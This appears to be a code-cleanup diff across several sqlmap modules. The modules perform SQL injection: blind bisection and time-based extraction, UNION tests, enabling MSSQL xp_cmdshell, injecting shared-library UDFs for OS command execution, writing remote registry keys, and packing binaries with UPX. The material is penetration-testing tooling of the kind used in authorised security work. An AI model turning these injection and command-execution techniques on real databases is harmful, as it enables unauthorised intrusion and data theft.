||||||
|
|
||||||
def __createRemoteBatchFile(self):
|
def __createRemoteBatchFile(self):
|
||||||
logger.debug("creating batch file '%s'" % self.__batPathRemote)
|
logger.debug("creating batch file '%s'" % self.__batPathRemote)
|
||||||
|
|
||||||
|
@ -92,7 +87,6 @@ class Registry:
|
||||||
|
|
||||||
os.unlink(self.__batPathLocal)
|
os.unlink(self.__batPathLocal)
|
||||||
|
|
||||||
|
|
||||||
def readRegKey(self, regKey, regValue, parse=False):
|
def readRegKey(self, regKey, regValue, parse=False):
|
||||||
self.__operation = "read"
|
self.__operation = "read"
|
||||||
|
|
||||||
|
@ -112,7 +106,6 @@ class Registry:
|
||||||
|
|
||||||
return data
|
return data
|
||||||
|
|
||||||
|
|
||||||
def addRegKey(self, regKey, regValue, regType, regData):
|
def addRegKey(self, regKey, regValue, regType, regData):
|
||||||
self.__operation = "add"
|
self.__operation = "add"
|
||||||
|
|
||||||
|
@ -126,7 +119,6 @@ class Registry:
|
||||||
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
|
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
|
||||||
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
|
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
|
||||||
|
|
||||||
|
|
||||||
def delRegKey(self, regKey, regValue):
|
def delRegKey(self, regKey, regValue):
|
||||||
self.__operation = "delete"
|
self.__operation = "delete"
|
||||||
|
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
|
@ -52,7 +50,6 @@ class UDF:
|
||||||
self.udfs = {}
|
self.udfs = {}
|
||||||
self.udfToCreate = set()
|
self.udfToCreate = set()
|
||||||
|
|
||||||
|
|
||||||
def __askOverwriteUdf(self, udf):
|
def __askOverwriteUdf(self, udf):
|
||||||
message = "UDF '%s' already exists, do you " % udf
|
message = "UDF '%s' already exists, do you " % udf
|
||||||
message += "want to overwrite it? [y/N] "
|
message += "want to overwrite it? [y/N] "
|
||||||
|
@ -63,7 +60,6 @@ class UDF:
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def __checkExistUdf(self, udf):
|
def __checkExistUdf(self, udf):
|
||||||
logger.info("checking if UDF '%s' already exist" % udf)
|
logger.info("checking if UDF '%s' already exist" % udf)
|
||||||
|
|
||||||
|
@ -75,18 +71,16 @@ class UDF:
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def udfCheckAndOverwrite(self, udf):
|
def udfCheckAndOverwrite(self, udf):
|
||||||
exists = self.__checkExistUdf(udf)
|
exists = self.__checkExistUdf(udf)
|
||||||
overwrite = True
|
overwrite = True
|
||||||
|
|
||||||
if exists is True:
|
if exists:
|
||||||
overwrite = self.__askOverwriteUdf(udf)
|
overwrite = self.__askOverwriteUdf(udf)
|
||||||
|
|
||||||
if overwrite is True:
|
if overwrite:
|
||||||
self.udfToCreate.add(udf)
|
self.udfToCreate.add(udf)
|
||||||
|
|
||||||
|
|
||||||
def udfCreateSupportTbl(self, dataType):
|
def udfCreateSupportTbl(self, dataType):
|
||||||
debugMsg = "creating a support table to write commands standard "
|
debugMsg = "creating a support table to write commands standard "
|
||||||
debugMsg += "output to"
|
debugMsg += "output to"
|
||||||
|
@ -94,7 +88,6 @@ class UDF:
|
||||||
|
|
||||||
self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
|
self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
|
||||||
|
|
||||||
|
|
||||||
def udfExecCmd(self, cmd, silent=False, udfName=None):
|
def udfExecCmd(self, cmd, silent=False, udfName=None):
|
||||||
cmd = urlencode(cmd, convall=True)
|
cmd = urlencode(cmd, convall=True)
|
||||||
|
|
||||||
|
@ -104,7 +97,6 @@ class UDF:
|
||||||
|
|
||||||
inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
|
inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
|
||||||
|
|
||||||
|
|
||||||
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
|
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
|
||||||
cmd = urlencode(cmd, convall=True)
|
cmd = urlencode(cmd, convall=True)
|
||||||
|
|
||||||
|
@ -124,21 +116,17 @@ class UDF:
|
||||||
|
|
||||||
return output
|
return output
|
||||||
|
|
||||||
|
|
||||||
def udfCreateFromSharedLib(self):
|
def udfCreateFromSharedLib(self):
|
||||||
errMsg = "udfSetRemotePath() method must be defined within the plugin"
|
errMsg = "udfSetRemotePath() method must be defined within the plugin"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
|
||||||
def udfSetRemotePath(self):
|
def udfSetRemotePath(self):
|
||||||
errMsg = "udfSetRemotePath() method must be defined within the plugin"
|
errMsg = "udfSetRemotePath() method must be defined within the plugin"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
|
||||||
def udfInjectCmd(self):
|
def udfInjectCmd(self):
|
||||||
errMsg = "udfInjectCmd() method must be defined within the plugin"
|
errMsg = "udfInjectCmd() method must be defined within the plugin"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
|
||||||
def udfInjectCore(self, udfDict):
|
def udfInjectCore(self, udfDict):
|
||||||
for udf in udfDict.keys():
|
for udf in udfDict.keys():
|
||||||
|
@ -162,15 +150,14 @@ class UDF:
|
||||||
|
|
||||||
self.udfCreateSupportTbl(supportTblType)
|
self.udfCreateSupportTbl(supportTblType)
|
||||||
|
|
||||||
|
|
||||||
def udfInjectCustom(self):
|
def udfInjectCustom(self):
|
||||||
if kb.dbms not in ( "MySQL", "PostgreSQL" ):
|
if kb.dbms not in ( "MySQL", "PostgreSQL" ):
|
||||||
errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms
|
errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
if kb.stackedTest == False:
|
if not kb.stackedTest:
|
||||||
return
|
return
|
||||||
|
|
||||||
self.checkDbmsOs()
|
self.checkDbmsOs()
|
||||||
|
@ -195,21 +182,21 @@ class UDF:
|
||||||
|
|
||||||
if not os.path.exists(self.udfLocalFile):
|
if not os.path.exists(self.udfLocalFile):
|
||||||
errMsg = "the specified shared library file does not exist"
|
errMsg = "the specified shared library file does not exist"
|
||||||
raise sqlmapFilePathException, errMsg
|
raise sqlmapFilePathException(errMsg)
|
||||||
|
|
||||||
if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"):
|
if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"):
|
||||||
errMsg = "shared library file must end with '.dll' or '.so'"
|
errMsg = "shared library file must end with '.dll' or '.so'"
|
||||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||||
|
|
||||||
elif self.udfLocalFile.endswith(".so") and kb.os == "Windows":
|
elif self.udfLocalFile.endswith(".so") and kb.os == "Windows":
|
||||||
errMsg = "you provided a shared object as shared library, but "
|
errMsg = "you provided a shared object as shared library, but "
|
||||||
errMsg += "the database underlying operating system is Windows"
|
errMsg += "the database underlying operating system is Windows"
|
||||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||||
|
|
||||||
elif self.udfLocalFile.endswith(".dll") and kb.os == "Linux":
|
elif self.udfLocalFile.endswith(".dll") and kb.os == "Linux":
|
||||||
errMsg = "you provided a dynamic-link library as shared library, "
|
errMsg = "you provided a dynamic-link library as shared library, "
|
||||||
errMsg += "but the database underlying operating system is Linux"
|
errMsg += "but the database underlying operating system is Linux"
|
||||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||||
|
|
||||||
self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
|
self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
|
||||||
self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]
|
self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import time
|
import time
|
||||||
|
|
||||||
|
@ -37,7 +35,6 @@ from lib.core.data import logger
|
||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.core.settings import PLATFORM
|
from lib.core.settings import PLATFORM
|
||||||
|
|
||||||
|
|
||||||
class UPX:
|
class UPX:
|
||||||
"""
|
"""
|
||||||
This class defines methods to compress binary files with UPX (Ultimate
|
This class defines methods to compress binary files with UPX (Ultimate
|
||||||
|
@ -69,7 +66,6 @@ class UPX:
|
||||||
if dstFile:
|
if dstFile:
|
||||||
self.__upxCmd += " -o %s" % dstFile
|
self.__upxCmd += " -o %s" % dstFile
|
||||||
|
|
||||||
|
|
||||||
def pack(self, srcFile, dstFile=None):
|
def pack(self, srcFile, dstFile=None):
|
||||||
self.__initialize(srcFile, dstFile)
|
self.__initialize(srcFile, dstFile)
|
||||||
|
|
||||||
|
@ -97,13 +93,10 @@ class UPX:
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
||||||
def unpack(self, srcFile, dstFile=None):
|
def unpack(self, srcFile, dstFile=None):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
def verify(self, filePath):
|
def verify(self, filePath):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
upx = UPX()
|
upx = UPX()
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.convert import urlencode
|
from lib.core.convert import urlencode
|
||||||
|
@ -34,7 +32,6 @@ from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.techniques.blind.timebased import timeUse
|
from lib.techniques.blind.timebased import timeUse
|
||||||
|
|
||||||
|
|
||||||
class xp_cmdshell:
|
class xp_cmdshell:
|
||||||
"""
|
"""
|
||||||
This class defines methods to deal with Microsoft SQL Server
|
This class defines methods to deal with Microsoft SQL Server
|
||||||
|
@ -44,9 +41,7 @@ class xp_cmdshell:
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.xpCmdshellStr = "master..xp_cmdshell"
|
self.xpCmdshellStr = "master..xp_cmdshell"
|
||||||
|
|
||||||
|
|
||||||
def __xpCmdshellCreate(self):
|
def __xpCmdshellCreate(self):
|
||||||
# TODO: double-check that this method works properly
|
|
||||||
cmd = ""
|
cmd = ""
|
||||||
|
|
||||||
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||||
|
@ -73,7 +68,6 @@ class xp_cmdshell:
|
||||||
|
|
||||||
self.xpCmdshellExecCmd(cmd)
|
self.xpCmdshellExecCmd(cmd)
|
||||||
|
|
||||||
|
|
||||||
def __xpCmdshellConfigure2005(self, mode):
|
def __xpCmdshellConfigure2005(self, mode):
|
||||||
debugMsg = "configuring xp_cmdshell using sp_configure "
|
debugMsg = "configuring xp_cmdshell using sp_configure "
|
||||||
debugMsg += "stored procedure"
|
debugMsg += "stored procedure"
|
||||||
|
@ -87,7 +81,6 @@ class xp_cmdshell:
|
||||||
|
|
||||||
return cmd
|
return cmd
|
||||||
|
|
||||||
|
|
||||||
def __xpCmdshellConfigure2000(self, mode):
|
def __xpCmdshellConfigure2000(self, mode):
|
||||||
debugMsg = "configuring xp_cmdshell using sp_addextendedproc "
|
debugMsg = "configuring xp_cmdshell using sp_addextendedproc "
|
||||||
debugMsg += "stored procedure"
|
debugMsg += "stored procedure"
|
||||||
|
@ -101,7 +94,6 @@ class xp_cmdshell:
|
||||||
|
|
||||||
return cmd
|
return cmd
|
||||||
|
|
||||||
|
|
||||||
def __xpCmdshellConfigure(self, mode):
|
def __xpCmdshellConfigure(self, mode):
|
||||||
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||||
cmd = self.__xpCmdshellConfigure2005(mode)
|
cmd = self.__xpCmdshellConfigure2005(mode)
|
||||||
|
@ -110,7 +102,6 @@ class xp_cmdshell:
|
||||||
|
|
||||||
self.xpCmdshellExecCmd(cmd)
|
self.xpCmdshellExecCmd(cmd)
|
||||||
|
|
||||||
|
|
||||||
def __xpCmdshellCheck(self):
|
def __xpCmdshellCheck(self):
|
||||||
query = self.xpCmdshellForgeCmd("ping -n %d 127.0.0.1" % (conf.timeSec + 2))
|
query = self.xpCmdshellForgeCmd("ping -n %d 127.0.0.1" % (conf.timeSec + 2))
|
||||||
duration = timeUse(query)
|
duration = timeUse(query)
|
||||||
|
@ -120,20 +111,17 @@ class xp_cmdshell:
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def xpCmdshellForgeCmd(self, cmd):
|
def xpCmdshellForgeCmd(self, cmd):
|
||||||
return "EXEC %s '%s'" % (self.xpCmdshellStr, cmd)
|
return "EXEC %s '%s'" % (self.xpCmdshellStr, cmd)
|
||||||
|
|
||||||
|
|
||||||
def xpCmdshellExecCmd(self, cmd, silent=False, forgeCmd=False):
|
def xpCmdshellExecCmd(self, cmd, silent=False, forgeCmd=False):
|
||||||
if forgeCmd == True:
|
if forgeCmd:
|
||||||
cmd = self.xpCmdshellForgeCmd(cmd)
|
cmd = self.xpCmdshellForgeCmd(cmd)
|
||||||
|
|
||||||
cmd = urlencode(cmd, convall=True)
|
cmd = urlencode(cmd, convall=True)
|
||||||
|
|
||||||
inject.goStacked(cmd, silent)
|
inject.goStacked(cmd, silent)
|
||||||
|
|
||||||
|
|
||||||
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
|
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
|
||||||
self.getRemoteTempPath()
|
self.getRemoteTempPath()
|
||||||
|
|
||||||
|
@ -157,7 +145,6 @@ class xp_cmdshell:
|
||||||
|
|
||||||
return output
|
return output
|
||||||
|
|
||||||
|
|
||||||
def xpCmdshellInit(self, mandatory=True):
|
def xpCmdshellInit(self, mandatory=True):
|
||||||
self.__xpCmdshellAvailable = False
|
self.__xpCmdshellAvailable = False
|
||||||
|
|
||||||
|
@ -167,7 +154,7 @@ class xp_cmdshell:
|
||||||
|
|
||||||
result = self.__xpCmdshellCheck()
|
result = self.__xpCmdshellCheck()
|
||||||
|
|
||||||
if result == True:
|
if result:
|
||||||
logger.info("xp_cmdshell extended procedure is available")
|
logger.info("xp_cmdshell extended procedure is available")
|
||||||
self.__xpCmdshellAvailable = True
|
self.__xpCmdshellAvailable = True
|
||||||
|
|
||||||
|
@ -180,7 +167,7 @@ class xp_cmdshell:
|
||||||
if not choice or choice in ("y", "Y"):
|
if not choice or choice in ("y", "Y"):
|
||||||
self.__xpCmdshellConfigure(1)
|
self.__xpCmdshellConfigure(1)
|
||||||
|
|
||||||
if self.__xpCmdshellCheck() == True:
|
if self.__xpCmdshellCheck():
|
||||||
logger.info("xp_cmdshell re-enabled successfully")
|
logger.info("xp_cmdshell re-enabled successfully")
|
||||||
self.__xpCmdshellAvailable = True
|
self.__xpCmdshellAvailable = True
|
||||||
|
|
||||||
|
@ -191,7 +178,7 @@ class xp_cmdshell:
|
||||||
self.__xpCmdshellConfigure(0)
|
self.__xpCmdshellConfigure(0)
|
||||||
self.__xpCmdshellCreate()
|
self.__xpCmdshellCreate()
|
||||||
|
|
||||||
if self.__xpCmdshellCheck() == True:
|
if self.__xpCmdshellCheck():
|
||||||
logger.info("xp_cmdshell created successfully")
|
logger.info("xp_cmdshell created successfully")
|
||||||
self.__xpCmdshellAvailable = True
|
self.__xpCmdshellAvailable = True
|
||||||
|
|
||||||
|
@ -200,14 +187,14 @@ class xp_cmdshell:
|
||||||
warnMsg += "because sp_OACreate is disabled"
|
warnMsg += "because sp_OACreate is disabled"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if self.__xpCmdshellAvailable == False and mandatory == False:
|
if not self.__xpCmdshellAvailable and not mandatory:
|
||||||
warnMsg = "unable to get xp_cmdshell working, sqlmap will "
|
warnMsg = "unable to get xp_cmdshell working, sqlmap will "
|
||||||
warnMsg += "try to proceed without it"
|
warnMsg += "try to proceed without it"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
self.envInitialized = True
|
self.envInitialized = True
|
||||||
|
|
||||||
elif self.__xpCmdshellAvailable == False:
|
elif not self.__xpCmdshellAvailable:
|
||||||
errMsg = "unable to proceed without xp_cmdshell"
|
errMsg = "unable to proceed without xp_cmdshell"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import threading
|
import threading
|
||||||
import time
|
import time
|
||||||
import traceback
|
import traceback
|
||||||
|
@ -43,8 +41,6 @@ from lib.core.exception import unhandledException
|
||||||
from lib.core.progress import ProgressBar
|
from lib.core.progress import ProgressBar
|
||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
|
|
||||||
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None):
|
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None):
|
||||||
"""
|
"""
|
||||||
Bisection algorithm that can be used to perform blind SQL injection
|
Bisection algorithm that can be used to perform blind SQL injection
|
||||||
|
@ -102,7 +98,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||||
progress = ProgressBar(maxValue=length)
|
progress = ProgressBar(maxValue=length)
|
||||||
progressTime = []
|
progressTime = []
|
||||||
|
|
||||||
if conf.verbose in ( 1, 2 ) and not showEta:
|
if conf.verbose >= 1 and not showEta:
|
||||||
if isinstance(length, int) and conf.threads > 1:
|
if isinstance(length, int) and conf.threads > 1:
|
||||||
infoMsg = "starting %d threads" % numThreads
|
infoMsg = "starting %d threads" % numThreads
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
@ -113,8 +109,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||||
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
|
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
|
||||||
|
|
||||||
queriesCount = [0] # As list to deal with nested scoping rules
|
queriesCount = [0] # As list to deal with nested scoping rules
|
||||||
|
|
||||||
|
|
||||||
def getChar(idx, asciiTbl=asciiTbl):
|
def getChar(idx, asciiTbl=asciiTbl):
|
||||||
maxValue = asciiTbl[len(asciiTbl)-1]
|
maxValue = asciiTbl[len(asciiTbl)-1]
|
||||||
minValue = 0
|
minValue = 0
|
||||||
|
@ -126,7 +120,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||||
forgedPayload = payload % (expressionUnescaped, idx, posValue)
|
forgedPayload = payload % (expressionUnescaped, idx, posValue)
|
||||||
result = Request.queryPage(forgedPayload)
|
result = Request.queryPage(forgedPayload)
|
||||||
|
|
||||||
if result == True:
|
if result:
|
||||||
minValue = posValue
|
minValue = posValue
|
||||||
asciiTbl = asciiTbl[position:]
|
asciiTbl = asciiTbl[position:]
|
||||||
else:
|
else:
|
||||||
|
@ -138,8 +132,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||||
return None
|
return None
|
||||||
else:
|
else:
|
||||||
return chr(minValue + 1)
|
return chr(minValue + 1)
|
||||||
|
|
||||||
|
|
||||||
def etaProgressUpdate(charTime, index):
|
def etaProgressUpdate(charTime, index):
|
||||||
if len(progressTime) <= ( (length * 3) / 100 ):
|
if len(progressTime) <= ( (length * 3) / 100 ):
|
||||||
eta = 0
|
eta = 0
|
||||||
|
@ -151,15 +143,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||||
progressTime.append(charTime)
|
progressTime.append(charTime)
|
||||||
progress.update(index)
|
progress.update(index)
|
||||||
progress.draw(eta)
|
progress.draw(eta)
|
||||||
|
|
||||||
|
|
||||||
if conf.threads > 1 and isinstance(length, int) and length > 1:
|
if conf.threads > 1 and isinstance(length, int) and length > 1:
|
||||||
value = [ None ] * length
|
value = [ None ] * length
|
||||||
index = [ firstChar ] # As list for python nested function scoping
|
index = [ firstChar ] # As list for python nested function scoping
|
||||||
idxlock = threading.Lock()
|
idxlock = threading.Lock()
|
||||||
iolock = threading.Lock()
|
iolock = threading.Lock()
|
||||||
|
|
||||||
|
|
||||||
def downloadThread():
|
def downloadThread():
|
||||||
try:
|
try:
|
||||||
while True:
|
while True:
|
||||||
|
@ -184,7 +172,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||||
|
|
||||||
if showEta:
|
if showEta:
|
||||||
etaProgressUpdate(time.time() - charStart, index[0])
|
etaProgressUpdate(time.time() - charStart, index[0])
|
||||||
elif conf.verbose in ( 1, 2 ):
|
elif conf.verbose >= 1:
|
||||||
s = "".join([c or "_" for c in value])
|
s = "".join([c or "_" for c in value])
|
||||||
iolock.acquire()
|
iolock.acquire()
|
||||||
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
|
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
|
||||||
|
@ -212,8 +200,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||||
errMsg = unhandledException()
|
errMsg = unhandledException()
|
||||||
logger.error("thread %d: %s" % (numThread + 1, errMsg))
|
logger.error("thread %d: %s" % (numThread + 1, errMsg))
|
||||||
traceback.print_exc()
|
traceback.print_exc()
|
||||||
|
|
||||||
|
|
||||||
# Start the threads
|
# Start the threads
|
||||||
for numThread in range(numThreads):
|
for numThread in range(numThreads):
|
||||||
thread = threading.Thread(target=downloadThread)
|
thread = threading.Thread(target=downloadThread)
|
||||||
|
@ -228,7 +214,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||||
# can mean that the connection to the target url was lost
|
# can mean that the connection to the target url was lost
|
||||||
if None in value:
|
if None in value:
|
||||||
for v in value:
|
for v in value:
|
||||||
if isinstance(v, str) and v != None:
|
if isinstance(v, str) and v is not None:
|
||||||
partialValue += v
|
partialValue += v
|
||||||
|
|
||||||
if partialValue:
|
if partialValue:
|
||||||
|
@ -241,7 +227,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||||
if isinstance(finalValue, str) and len(finalValue) > 0:
|
if isinstance(finalValue, str) and len(finalValue) > 0:
|
||||||
dataToSessionFile(replaceNewlineTabs(finalValue))
|
dataToSessionFile(replaceNewlineTabs(finalValue))
|
||||||
|
|
||||||
if conf.verbose in ( 1, 2 ) and not showEta and infoMsg:
|
if conf.verbose >= 1 and not showEta and infoMsg:
|
||||||
dataToStdout(infoMsg)
|
dataToStdout(infoMsg)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
@ -261,10 +247,10 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||||
|
|
||||||
if showEta:
|
if showEta:
|
||||||
etaProgressUpdate(time.time() - charStart, index)
|
etaProgressUpdate(time.time() - charStart, index)
|
||||||
elif conf.verbose in ( 1, 2 ):
|
elif conf.verbose >= 1:
|
||||||
dataToStdout(val)
|
dataToStdout(val)
|
||||||
|
|
||||||
if conf.verbose in ( 1, 2 ) or showEta:
|
if conf.verbose >= 1 or showEta:
|
||||||
dataToStdout("\n")
|
dataToStdout("\n")
|
||||||
|
|
||||||
if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:
|
if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
|
@ -33,8 +31,6 @@ from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
|
|
||||||
def timeTest():
|
def timeTest():
|
||||||
infoMsg = "testing time based blind sql injection on parameter "
|
infoMsg = "testing time based blind sql injection on parameter "
|
||||||
infoMsg += "'%s' with AND condition syntax" % kb.injParameter
|
infoMsg += "'%s' with AND condition syntax" % kb.injParameter
|
||||||
|
@ -82,8 +78,6 @@ def timeTest():
|
||||||
kb.timeTest = False
|
kb.timeTest = False
|
||||||
|
|
||||||
return kb.timeTest
|
return kb.timeTest
|
||||||
|
|
||||||
|
|
||||||
def timeUse(query):
|
def timeUse(query):
|
||||||
start = time.time()
|
start = time.time()
|
||||||
_, _ = inject.goStacked(query)
|
_, _ = inject.goStacked(query)
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
|
@ -35,7 +33,6 @@ from lib.core.unescaper import unescaper
|
||||||
from lib.parse.html import htmlParser
|
from lib.parse.html import htmlParser
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
|
|
||||||
def __unionPosition(negative=False, falseCond=False):
|
def __unionPosition(negative=False, falseCond=False):
|
||||||
if negative or falseCond:
|
if negative or falseCond:
|
||||||
negLogMsg = "partial (single entry)"
|
negLogMsg = "partial (single entry)"
|
||||||
|
@ -93,7 +90,6 @@ def __unionPosition(negative=False, falseCond=False):
|
||||||
|
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
|
||||||
def __unionConfirm():
|
def __unionConfirm():
|
||||||
# Confirm the inband SQL injection and get the exact column
|
# Confirm the inband SQL injection and get the exact column
|
||||||
# position
|
# position
|
||||||
|
@ -121,7 +117,6 @@ def __unionConfirm():
|
||||||
else:
|
else:
|
||||||
conf.paramFalseCond = True
|
conf.paramFalseCond = True
|
||||||
|
|
||||||
|
|
||||||
def __forgeUserFriendlyValue(payload):
|
def __forgeUserFriendlyValue(payload):
|
||||||
value = ""
|
value = ""
|
||||||
|
|
||||||
|
@ -139,7 +134,6 @@ def __forgeUserFriendlyValue(payload):
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
|
|
||||||
def __unionTestByNULLBruteforce(comment):
|
def __unionTestByNULLBruteforce(comment):
|
||||||
"""
|
"""
|
||||||
This method tests if the target url is affected by an inband
|
This method tests if the target url is affected by an inband
|
||||||
|
@ -173,7 +167,6 @@ def __unionTestByNULLBruteforce(comment):
|
||||||
|
|
||||||
return value, columns
|
return value, columns
|
||||||
|
|
||||||
|
|
||||||
def __unionTestByOrderBy(comment):
|
def __unionTestByOrderBy(comment):
|
||||||
columns = None
|
columns = None
|
||||||
value = None
|
value = None
|
||||||
|
@ -197,7 +190,6 @@ def __unionTestByOrderBy(comment):
|
||||||
|
|
||||||
return value, columns
|
return value, columns
|
||||||
|
|
||||||
|
|
||||||
def unionTest():
|
def unionTest():
|
||||||
"""
|
"""
|
||||||
This method tests if the target url is affected by an inband
|
This method tests if the target url is affected by an inband
|
||||||
|
|
|
